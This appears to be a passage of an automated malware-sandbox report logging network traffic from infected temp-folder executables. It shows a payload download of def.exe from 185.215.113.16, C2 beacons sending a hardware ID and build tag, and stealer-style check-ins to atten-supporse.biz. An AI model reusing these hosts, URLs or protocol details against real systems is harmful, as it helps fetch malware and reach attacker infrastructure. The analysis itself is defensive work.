Dec 9, 2024 23:09:34.195509911 CET	1236	IN	Data Raw: b6 97 b0 46 bb d1 72 11 9f 31 df 48 7c c0 84 6d d5 61 61 79 d8 f4 b8 4a 55 3e 58 62 4f 2e cc b7 45 eb 67 74 58 cb 98 90 92 cd 31 6e 63 38 9b 67 d8 e1 4b 78 ae 4c 74 73 61 f1 55 f5 a7 d7 cb 0c d1 e2 6c 24 9c f1 50 95 07 c6 a2 f4 a7 d7 cb 82 d6 de Data Ascii: Fr1H\|maayJU>XbO.EgtX1nc8gKxLtsaUl$Plvw\|NV7\|p?Jtq,8w.FY`w{&zsSN%l&zac`r?u\|/5M^!Ow`ONQkP5k+hh2TmvFl6 v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49868	185.215.113.16	80	7872	C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 23:09:40.017160892 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 9, 2024 23:09:41.348684072 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 22:09:40 GMT Content-Type: application/octet-stream Content-Length: 2895872 Last-Modified: Mon, 09 Dec 2024 21:07:48 GMT Connection: keep-alive ETag: "67575c24-2c3000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 a0 2c 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 2c 00 00 04 00 00 88 b9 2c 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$, `@ ,,`Ui` @ @.rsrc`2@.idata 8@cdtvwakf++:@qjmihuav ,,@.taggant@,",@
Dec 9, 2024 23:09:41.348786116 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 9, 2024 23:09:41.348797083 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 9, 2024 23:09:41.348922968 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 9, 2024 23:09:41.349006891 CET	896	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 9, 2024 23:09:41.349016905 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 9, 2024 23:09:41.349025965 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 9, 2024 23:09:41.349035978 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: d2ywpvaqmJmvzB}N:twHwt}@[xSa~ZMQ"nPvJsJ
Dec 9, 2024 23:09:41.349412918 CET	1236	IN	Data Raw: 1b aa b6 38 a5 1c ff 09 62 fc 7d 7f da d0 71 90 19 e2 f1 62 59 0a 24 75 10 f0 db fb 8c f0 f1 41 db 4b 4c 78 f5 69 6b 14 dc f3 bd 51 17 07 73 61 15 df c4 56 d1 01 6d 40 b7 f2 38 7f 4e 92 6c 74 31 06 7a 5c 60 d2 8d 64 b1 ff 2e 6d f4 51 10 45 f7 ca Data Ascii: 8b}qbY$uAKLxikQsaVm@8Nlt1z\`d.mQEL~2m>zpsRF>\xrsf7hZ'~x&6Z1xRBo,7_LR1fGr\gx34nx}]c}q:bUz%<0p,t_f\|0)0} lN
Dec 9, 2024 23:09:41.349423885 CET	1236	IN	Data Raw: 4a 0c 0f 5b 4c 21 75 b2 99 71 a3 94 7f 7f b8 81 41 0f c1 f8 a2 37 26 4b e2 15 7e 97 4d 18 4f 98 70 ec 9d ba 73 ea f6 f1 94 47 dc 89 77 91 bc 08 43 08 dd cf 28 41 74 c2 54 f8 b9 6d 93 e8 a1 3a 1d 30 c0 ca 40 5f d0 94 82 e1 d7 0f 22 4a de 9a a6 69 Data Ascii: J[L!uqA7&K~MOpsGwC(AtTm:0@_"Ji`wr6YY6~Qg\|mVg{%)\|Z6r{\|qvCb,Hd2@cci]i\|<aSdg(Na\|X+DN}b\|lz@1RnPvr
Dec 9, 2024 23:09:41.468508005 CET	1236	IN	Data Raw: c7 15 2b 17 92 c7 b1 ab 48 a5 75 27 98 5e f8 e4 5b e5 6b 65 b1 20 98 1c 3b e2 ed 7c ec 27 78 a7 bd 37 b4 3e 1f 16 9f 50 47 b4 f0 b4 17 0a 91 12 b0 36 62 82 62 05 75 a4 bc c3 3d bd 9f 31 1c 53 85 4c 26 d5 ac fc 67 a8 e4 07 fc 52 10 06 c0 2c ad 25 Data Ascii: +Hu'^[ke ;\|'x7>PG6bbu=1SL&gR,%bC_X"vH=2F};s(_i=pwO"cLKr5)`b{u{y@R[tg!vvS@jgaKfhNZhxP{x4hHl})_l

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49870	185.215.113.206	80	6796	C:\Users\user\AppData\Local\Temp\1013537001\37df924488.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 23:09:40.244571924 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Dec 9, 2024 23:09:41.574444056 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 22:09:41 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 9, 2024 23:09:41.576658964 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJJKKJJDAAAAAKFHJJDG Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 4a 4b 4b 4a 4a 44 41 41 41 41 41 4b 46 48 4a 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 44 37 41 33 30 41 32 43 37 41 35 31 39 31 35 33 33 34 32 33 37 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4a 4b 4b 4a 4a 44 41 41 41 41 41 4b 46 48 4a 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4a 4b 4b 4a 4a 44 41 41 41 41 41 4b 46 48 4a 4a 44 47 2d 2d 0d 0a Data Ascii: ------IJJKKJJDAAAAAKFHJJDGContent-Disposition: form-data; name="hwid"9D7A30A2C7A51915334237------IJJKKJJDAAAAAKFHJJDGContent-Disposition: form-data; name="build"stok------IJJKKJJDAAAAAKFHJJDG--
Dec 9, 2024 23:09:42.038409948 CET	210	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 22:09:41 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49874	185.215.113.43	80	7660	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 23:09:41.338077068 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 33 35 33 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1013539001&unit=246122658369
Dec 9, 2024 23:09:42.733125925 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 22:09:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49879	34.107.221.82	80	5932	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 23:09:42.027201891 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Dec 9, 2024 23:09:43.114893913 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 09 Dec 2024 17:03:35 GMT Age: 18367 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49892	34.107.221.82	80	5932	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 23:09:44.427329063 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Dec 9, 2024 23:09:45.513746977 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 09 Dec 2024 02:26:01 GMT Age: 71024 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49893	185.215.113.43	80	7660	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 23:09:44.493289948 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 9, 2024 23:09:45.824894905 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 22:09:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49896	34.107.221.82	80	5932	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 23:09:44.608695984 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Dec 9, 2024 23:09:45.694540977 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 09 Dec 2024 12:18:23 GMT Age: 35482 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Dec 9, 2024 23:09:55.701523066 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49905	185.215.113.43	80	7660	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 23:09:47.451219082 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 9, 2024 23:09:48.814275026 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 22:09:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49914	185.215.113.43	80	7660	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 23:09:50.626092911 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 9, 2024 23:09:51.966738939 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 22:09:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49923	185.215.113.43	80	7660	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 23:09:53.594707012 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 9, 2024 23:09:54.931030035 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 22:09:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49939	185.215.113.43	80	7660	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 23:09:56.841376066 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 9, 2024 23:09:58.172768116 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 22:09:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49949	185.215.113.43	80	7660	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 23:09:59.948918104 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 9, 2024 23:10:01.317770958 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 22:10:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49781	104.21.48.1	443	7872	C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 22:09:16 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: atten-supporse.biz
2024-12-09 22:09:16 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-09 22:09:17 UTC	1024	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 22:09:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=38975hp099fo2ljc663pagorcj; expires=Fri, 04-Apr-2025 15:55:55 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=thOj%2B28AvmNlh36gytL%2FDj3AiCkDxV%2F2%2FniIWsOK4SWA8O%2B734iHxjyzG%2FRFJowRVBc2T0SzUCy6GOmCMFrf2wDdgNe2Olmrt80wfLOLkmY4KxJEBZz4021%2FBz396gljiVLhKVg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ef8518d6c070cc8-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1549&min_rtt=1547&rtt_var=585&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2847&recv_bytes=909&delivery_rate=1864623&cwnd=225&unsent_bytes=0&cid=e7200c059a057590&ts=1004&x=0"
2024-12-09 22:09:17 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-09 22:09:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49790	104.21.48.1	443	7872	C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 22:09:18 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: atten-supporse.biz
2024-12-09 22:09:18 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--LiveTraffic&j=
2024-12-09 22:09:19 UTC	1021	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 22:09:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=3dh3il0ik4ped9ka5nm919vpeh; expires=Fri, 04-Apr-2025 15:55:57 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pYIi%2FIi837l2Bd8h4D%2FgfFHGPyCYo6ERM8P0rrThIwp6fuZNJI2IdkQbDxeTmHFkUTHHamtEJOEZT2HWjvFD%2Bs0oLll%2Fx82OL0CLjsrVsi%2Bzm0hE3QUmqxJ1h0%2BPtsOWu6TBLYI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ef8519b9cff7ca5-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1794&min_rtt=1788&rtt_var=682&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2847&recv_bytes=955&delivery_rate=1590413&cwnd=243&unsent_bytes=0&cid=36929ec78b0172a8&ts=748&x=0"
2024-12-09 22:09:19 UTC	348	IN	Data Raw: 34 39 31 63 0d 0a 6d 6a 64 51 68 35 38 71 32 2f 5a 51 33 72 4e 78 35 53 42 37 53 73 39 6d 72 57 79 66 4a 54 5a 42 79 54 70 71 51 77 4c 30 77 31 66 68 46 53 61 6c 70 52 37 33 31 43 4f 37 6b 55 75 52 55 67 34 76 34 30 54 4d 43 4c 30 66 55 43 43 6c 53 51 39 76 49 49 4b 75 64 61 42 52 4d 65 76 73 54 2f 66 55 4e 61 61 52 53 37 35 62 57 53 2b 68 52 4a 64 4f 2b 6b 39 55 49 4b 56 59 43 79 68 74 68 4b 38 30 38 6c 73 33 37 2f 70 4a 76 35 63 38 73 39 59 55 67 45 45 52 4a 4b 59 4c 78 51 47 39 43 52 51 6b 73 78 68 51 59 55 2b 52 74 7a 62 58 56 69 50 73 76 56 66 33 6a 58 4b 37 33 56 50 66 41 68 6f 76 72 51 72 4c 43 50 52 4e 58 69 6d 74 57 51 34 70 63 70 32 6c 50 2f 4a 56 4e 4f 37 77 51 4b 75 61 4e 72 54 64 45 6f 70 42 57 57 62 74 41 39 64 4f 70 51 63 48 45 61 68 4a 47 Data Ascii: 491cmjdQh58q2/ZQ3rNx5SB7Ss9mrWyfJTZByTpqQwL0w1fhFSalpR731CO7kUuRUg4v40TMCL0fUCClSQ9vIIKudaBRMevsT/fUNaaRS75bWS+hRJdO+k9UIKVYCyhthK808ls37/pJv5c8s9YUgEERJKYLxQG9CRQksxhQYU+RtzbXViPsvVf3jXK73VPfAhovrQrLCPRNXimtWQ4pcp2lP/JVNO7wQKuaNrTdEopBWWbtA9dOpQcHEahJG
